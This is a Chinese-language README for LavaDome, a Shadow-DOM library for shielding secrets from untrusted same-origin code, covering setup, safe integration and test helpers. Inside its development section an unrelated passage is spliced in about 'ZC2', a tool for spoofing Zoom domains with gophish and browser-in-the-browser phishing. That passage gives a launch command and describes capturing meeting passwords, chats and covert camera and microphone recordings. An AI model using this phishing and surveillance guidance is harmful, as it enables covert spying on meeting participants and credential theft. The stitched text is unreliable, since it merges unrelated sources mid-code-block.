⚠️ 实验性 [WIP] - 使用风险自负(了解更多)
试试 LavaDome - 访问演示应用,打开控制台,尽你所能从 LavaDome 实例中窃取秘密(报告你的成功)
在当今的 Web 标准下,还没有一种成熟的方法能够以安全的方式选择性地隔离 DOM 子树。换句话说,如果各方共享同一个 JavaScript 执行环境,我们无法通过向某些方授予访问权限、同时阻止其他方访问,来控制对 DOM 各部分的访问。
我们生活在一个再也无法信任自己应用中的代码的世界,同源执行并不能保证安全。要在前端保护秘密,我们必须能够向用户呈现内容,同时确保其不会被同源运行的 JavaScript 代码窃取。

目前,这些敏感内容一旦导出就会被直接附加到 DOM 上,使其对所有在同一个应用中运行的实体完全可访问。也就是说,那些本不应访问私钥的代码部分,只要恶意代码能够访问 DOM,就可以轻松地以明文形式提取私钥。
但请放心。我们相信这是一个可解决的问题 👇
LavaDome 目前支持 Vanilla JavaScript 和 React(更多功能正在开发中)
import { LavaDome as LavaDomeJavaScript } from '@lavamoat/lavadome-javascript';
const root = document.getElementById('root'); const lavadome = new LavaDomeJavaScript(root); lavadome.text(secret); lavadome.copy(); // copy to clipboard
### [React](https://github.com/lavamoat/lavadome/blob/main/packages/react)```javascript
import { LavaDome as LavaDomeReact, toLavaDomeToken } from '@lavamoat/lavadome-react';
function Secret({ text }) {
const {token, copy} = toLavaDomeCapabilities(text);
return <>
<a onClick={copy}> copy to clipboard </a>
<LavaDomeReact token={token} />
</>;
}
除了根节点之外,所有构造函数都接受可选的第二个参数 options:```javascript // javascript new LavaDomeJavaScript(root, { // boolean unsafeOpenModeShadow: false, });
// react function Secret({ text }) { const {token} = toLavaDomeCapabilities(text); return <LavaDomeReact token={token} // boolean unsafeOpenModeShadow={false} /> }
### 安全使用
由于 Web 核心的限制,为了安全地集成 LavaDome,集成开发者需要注意一些事项,这些事项需要开发者积极投入:
#### 执行顺序
LavaDome 与任何其他 JavaScript 安全软件一样,始终容易受到在其之前运行的代码的攻击。
这意味着,除了我们完全信任的代码之外,LavaDome 必须是 Web 应用程序中加载的第一段代码。
虽然这并不意味着开发者必须立即使用它(而是只在需要时使用),但他们确实必须尽早引入该程序。
为了正确(安全)地做到这一点,它必须是整个程序中第一个 import/require 声明:```javascript
import '@lavamoat/lavadome-react';
import 'other-stuff';
console.log('Program starts here');
这样我们可以确保 LavaDome 有足够时间做好自身准备,以保障安全使用。
请注意,这同样适用于 LavaDome 的其他软件包,而不仅仅是 @lavamoat/lavadome-react(因此无需导入其中多个)。
跳转到 安全(防御性编码) 了解更多信息。
由于侧信道攻击和 Web 限制,导入远程字体可能成为针对 LavaDome 的有效攻击手段。由于该问题植根于 CSS 领域,目前无法通过 LavaDome 本身来解决。
幸运的是,这可以通过 CSP 的 font-src 指令有效解决。
为缓解此类攻击,请确保你的 Web 应用不允许从未知服务器获取字体。
跳转到 安全(侧信道) 了解更多信息。
开发人员提供给 LavaDome 的文本必须 100% 不可预测,否则可能遭到攻击并导致泄露。
因此,如果你的应用需要显示 "your key is 234789",这意味着你的 DOM 结构应为:```html
your key is 234789
并且不能是:```html
<span> <lavadome>your key is 234789</lavadome> </span>
跳到安全(可发现性)了解更多。
将 LavaDome 集成到测试环境中可能会有些棘手,因为 LavaDome 在隐藏秘密方面做得很好,它也会很好地瞒过你的测试!
要成功将 LavaDome 集成到你的测试环境,你可能需要 @lavamoat/lavadome-core 导出的 LavaDomeDebug 的帮助:```javascript
// IMPORT/USE FOR TESTING/DEBUGGING PURPOSES ONLY - NEVER IN PRODUCTION!
import { LavaDomeDebug } from '@lavamoat/lavadome-core';
以下是 `LavaDomeDebug` 导出的一些调试工具方法,可帮助您测试基于 `LavaDome` 的组件:
#### `getTextByRoot()`
给定一个已挂载 `LavaDome` 的根节点,`getTextByRoot()` 会递归提取并重构内部秘密。要实现这一点,`LavaDome` 实例最初必须使用不安全的选项 `@unsafeOpenModeShadow` 初始化,这会使 `LavaDome` 的内部影子可从外部访问。
显然,这是不安全的,会让 `LavaDome` 完全暴露在风险中,但仅用于测试/调试目的时是有意义的——请务必确保切勿在生产环境中启用此选项!```javascript
new LavaDomeJavaScript(root, {
unsafeOpenModeShadow: isThisTestingEnv, // boolean
}).text('123456');
LavaDomeDebug.getTextByRoot(root) === '123456'; // true
stripDistractionFromText()当使用 Web 驱动进行测试并指示它们提取 LavaDome 实例根节点的内部文本时,它们会返回一个同时包含秘密和 LavaDome 干扰文本的字符串。
干扰文本对于安全性很重要(参见 安全(侧信道)),但它会让 Web 驱动提取并非真正属于秘密的字符。
为了解决这个问题,在获得 Web 驱动返回的文本后,stripDistractionFromText() 会从中移除干扰文本,只留下你的测试期望找到的精确字符串。
不用担心干扰文本,它在你的应用中永远不会对用户可见/可交互,但出于安全原因它必须存在。```javascript new LavaDomeJavaScript(root).text('123456'); const element = await driver.findElement('#ROOT'); // driver const text = await element.getText(); // driver LavaDomeDebug.stripDistractionFromText(text) === '123456'; // true
## 开发
要设置 **`LavaDome`** 的本地开发构建,请克隆此仓库并运行以下任一命令:```bash
npm install && npm install --global serve
列出会议使用的所有 IP 地址。提供会议密码、密码哈希、用户名、音频、视频和聊天记录。
域仿冒和BITB攻击现已就绪。在 gophish 中,你可以创建指向 Zoom 域仿冒的电子邮件模板。设置完成后,你可以在 gophish 启动器中使用 URL 仿冒,从而实施浏览器内中间人攻击。查看所有未入侵 Zoom 会议的用户。你拥有他们的摄像头、麦克风和屏幕共享流。
您的计算机必须能够在网络接口上看到真实域名解析为外部 IP(例如互联网),或者您的内部 DNS 必须指向 ZC2 服务器的 IP。
如何设置:
--domain zoom.yourdomain.com。以下是一个启动示例,使用默认自签名证书,并在需要时启用邮件发送功能:
./ZC2 --meeting-id 1234567890 --meeting-password 123456 --mail-from [email protected] --mail-pass mypassword123 --mail-smtp smtp.gmail.com --mail-smtp-port 587 --user-pass Rand0mP4ss!! --chat capture --stream-record --db-file ZC2.db --listen-all-ip --listen-port 443 --domain zoom.myorg.com
解释:
./ZC2--meeting-id 1234567890 - 会议 ID--meeting-password 123456 - 会议密码--mail-from [email protected] - 邮件发件人地址--mail-pass mypassword123 - 邮件密码--mail-smtp smtp.gmail.com - 邮件 SMTP 服务器--mail-smtp-port 587 - 邮件 SMTP 端口--user-pass Rand0mP4ss! - 创建用户所需的密码--chat capture - 捕获聊天日志--stream-record - 录制会议流--db-file ZC2.db - 数据库文件名--listen-all-ip - 在所有 IP 上监听--listen-port 443 - HTTPS 监听端口--domain zoom.myorg.com - 指向 Zoom 仿冒域名的域名这将启动服务器,所有用户必须访问 https://zoom.myorg.com 并输入密码 Rand0mP4ss!。一旦输入完整会议 ID 和密码并登陆,所有用户都将在同一个虚拟会议中看到彼此(在 Zoom 中不可见),这时候你将
用户将看到要求授予摄像头和麦克风权限的提示。不要接受! 如果你是会议安全测试人员,或者你在攻击,那么你将在具有 IP 地址的远程计算机上隐身(加入真实 Zoom 会议时)。你可以保持摄像头和音频关闭,只观察其他用户。你还可以记录他们的摄像头流和音频流。在隐身观察/记录时,你的浏览器标签页必须始终保持活跃和前台状态。
待用户加入会议后,你可以在命令行界面执行 users 查看服务器上的活跃用户:```bash
yarn install && yarn global add serve
## Solution
[`ShadowDom`](https://web.dev/articles/`ShadowDom`-v1) Web API 使我们能够隔离和封装 DOM 节点。虽然它[并非被设计为安全特性](https://web.dev/articles/`ShadowDom`-v1#:~:text=Note%3A%20Closed%20shadow%20roots%20are%20not%20very%20useful.%20Some%20developers%20will%20see%20closed%20mode%20as%20an%20artificial%20security%20feature.%20But%20let%27s%20be%20clear%2C%20it%27s%20not%20a%20security%20feature.for%20Closed%20mode%20simply%20prevents%20outside%20JS%20from%20drilling%20into%20an%20element%27s%20internal%20DOM.),`ShadowDom` 在将 DOM 子树与页面中其他位置运行的 JavaScript 和 CSS 隔离方面表现出色。
**`LavaDome`** 的基本方法是利用 `ShadowDom`,同时仔细处理其[潜在安全漏洞](https://blog.ankursundara.com/shadow-dom/)。
**[LavaDome](https://github.com/lavamoat/lavadome/)** 旨在成为 **LavaMoat 工具箱中的一款安全工具**,用于实现仅允许与用户和受信任代码交互的前端组件,同时阻止应用中不受信任的 JavaScript 和 CSS 代码的访问尝试。
> 感谢 [@arxenix](https://github.com/arxenix) 对 `ShadowDom` 安全性的[研究](https://blog.ankursundara.com/shadow-dom/),这些研究为 **`LavaDome`** 中实现的主要安全改进提供了基础。
## 目标
**`LavaDome`** 项目遵循以下核心原则:
### 安全